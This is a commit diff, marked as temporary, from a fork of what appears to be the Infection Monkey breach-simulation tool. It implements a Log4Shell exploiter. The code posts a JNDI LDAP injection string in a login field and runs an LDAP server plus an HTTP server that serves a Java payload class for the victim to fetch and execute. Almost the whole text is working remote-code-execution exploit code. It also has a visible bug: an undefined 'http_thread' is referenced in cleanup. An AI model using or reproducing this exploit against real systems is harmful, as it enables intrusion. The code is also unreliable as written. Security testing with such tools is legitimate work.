forked from p15670423/monkey
TEMP: base implementation of the log4shell
This commit is contained in:
parent
41b97cb54a
commit
1884c6d767
|
@ -1,6 +1,7 @@
|
||||||
import http.client
|
import http.client
|
||||||
import http.server
|
import http.server
|
||||||
import logging
|
import logging
|
||||||
|
from threading import Thread
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
@ -14,21 +15,21 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=LinuxExploit}"
|
LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}"
|
||||||
|
|
||||||
|
|
||||||
class Log4jExploiter(WebRCE):
|
class Log4ShellExploiter(WebRCE):
|
||||||
_TARGET_OS_TYPE = ["linux", "windows"]
|
_TARGET_OS_TYPE = ["linux", "windows"]
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
_EXPLOITED_SERVICE = "Log4j"
|
_EXPLOITED_SERVICE = "Log4j"
|
||||||
LDAP_PORT = 8080
|
LDAP_PORT = 8080
|
||||||
CLASS_HTTP_SERVER_PORT = 1337
|
CLASS_HTTP_SERVER_PORT = 1337
|
||||||
|
DOWNLOAD_TIMEOUT = 15
|
||||||
URLS = ["http://192.168.56.101:8080/login"]
|
URLS = ["http://192.168.56.101:8080/login"]
|
||||||
|
|
||||||
def __init__(self, host: VictimHost):
|
def __init__(self, host: VictimHost):
|
||||||
super().__init__(host)
|
super().__init__(host)
|
||||||
self._client = None
|
self._client = None
|
||||||
self._stop_http = True
|
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
|
|
||||||
|
@ -45,23 +46,35 @@ class Log4jExploiter(WebRCE):
|
||||||
|
|
||||||
java_class = self.build_java_class(command)
|
java_class = self.build_java_class(command)
|
||||||
class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
||||||
self.start_java_class_http_server(class_http_server_ip, java_class)
|
|
||||||
|
java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class)
|
||||||
|
java_class_http_thread.start()
|
||||||
|
|
||||||
ldap = LDAPExploitServer(
|
ldap = LDAPExploitServer(
|
||||||
ldap_server_port=8080,
|
ldap_server_port=8080,
|
||||||
http_server_ip=class_http_server_ip,
|
http_server_ip=class_http_server_ip,
|
||||||
http_server_port=self.CLASS_HTTP_SERVER_PORT,
|
http_server_port=self.CLASS_HTTP_SERVER_PORT,
|
||||||
storage_dir=get_monkey_dir_path(),
|
storage_dir=get_monkey_dir_path(),
|
||||||
)
|
)
|
||||||
ldap.run()
|
ldap_thread = ldap.get_run_thread()
|
||||||
|
ldap_thread.start()
|
||||||
|
|
||||||
payload = {"username": LDAP_PAYLOAD, "password": "m0nk3y"}
|
payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"}
|
||||||
try:
|
try:
|
||||||
requests.post(Log4jExploiter.URLS[0], data=payload, timeout=5)
|
response = requests.post(
|
||||||
|
Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False
|
||||||
|
)
|
||||||
except requests.ReadTimeout:
|
except requests.ReadTimeout:
|
||||||
logger.error("Couldn't send request to the vulnerable machine")
|
logger.error("Couldn't send request to the vulnerable machine")
|
||||||
return False
|
return False
|
||||||
finally:
|
finally:
|
||||||
self._stop_http = True
|
http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
|
||||||
|
java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
|
||||||
|
Log4ShellExploiter.HTTPHandler.stop = True
|
||||||
|
|
||||||
|
ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
|
||||||
ldap.stop()
|
ldap.stop()
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@ -77,22 +90,31 @@ class Log4jExploiter(WebRCE):
|
||||||
class HTTPHandler(http.server.BaseHTTPRequestHandler):
|
class HTTPHandler(http.server.BaseHTTPRequestHandler):
|
||||||
|
|
||||||
java_class: bytes
|
java_class: bytes
|
||||||
|
class_downloaded = False
|
||||||
|
stop = False
|
||||||
|
|
||||||
def do_GET(self):
|
def do_GET(self):
|
||||||
|
logger.error("Got a get request!")
|
||||||
self.send_response(200)
|
self.send_response(200)
|
||||||
self.send_header("Content-type", "application/octet-stream")
|
self.send_header("Content-type", "application/octet-stream")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
logger.info("Sending payload class!")
|
logger.info("Sending payload class!")
|
||||||
self.wfile.write(self.java_class)
|
self.wfile.write(self.java_class)
|
||||||
|
Log4ShellExploiter.HTTPHandler.class_downloaded = True
|
||||||
|
|
||||||
def start_java_class_http_server(self, ip: str, java_class: bytes):
|
@staticmethod
|
||||||
# TODO run this on a separate thread
|
def _run_class_http_server(ip):
|
||||||
self._stop_http = False
|
|
||||||
Log4jExploiter.HTTPHandler.java_class = java_class
|
|
||||||
|
|
||||||
server = http.server.HTTPServer(
|
server = http.server.HTTPServer(
|
||||||
(ip, Log4jExploiter.CLASS_HTTP_SERVER_PORT), Log4jExploiter.HTTPHandler
|
(ip, Log4ShellExploiter.CLASS_HTTP_SERVER_PORT), Log4ShellExploiter.HTTPHandler
|
||||||
)
|
)
|
||||||
|
while (
|
||||||
while not self._stop_http:
|
not Log4ShellExploiter.HTTPHandler.class_downloaded
|
||||||
|
and not Log4ShellExploiter.HTTPHandler.stop
|
||||||
|
):
|
||||||
server.handle_request()
|
server.handle_request()
|
||||||
|
|
||||||
|
def get_java_class_server_thread(self, ip: str, java_class: bytes):
|
||||||
|
Log4ShellExploiter.HTTPHandler.java_class = java_class
|
||||||
|
|
||||||
|
return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip])
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
import tempfile
|
import tempfile
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
from threading import Thread
|
||||||
|
|
||||||
from ldaptor.interfaces import IConnectedLDAPEntry
|
from ldaptor.interfaces import IConnectedLDAPEntry
|
||||||
from ldaptor.ldiftree import LDIFTreeEntry
|
from ldaptor.ldiftree import LDIFTreeEntry
|
||||||
|
@ -83,8 +84,8 @@ class LDAPExploitServer:
|
||||||
log_observer = log.PythonLoggingObserver()
|
log_observer = log.PythonLoggingObserver()
|
||||||
log_observer.start()
|
log_observer.start()
|
||||||
|
|
||||||
def run(self):
|
def get_run_thread(self) -> Thread:
|
||||||
reactor.run()
|
return Thread(target=reactor.run, args=[None])
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
reactor.stop()
|
reactor.stop()
|
||||||
|
|
Loading…
Reference in New Issue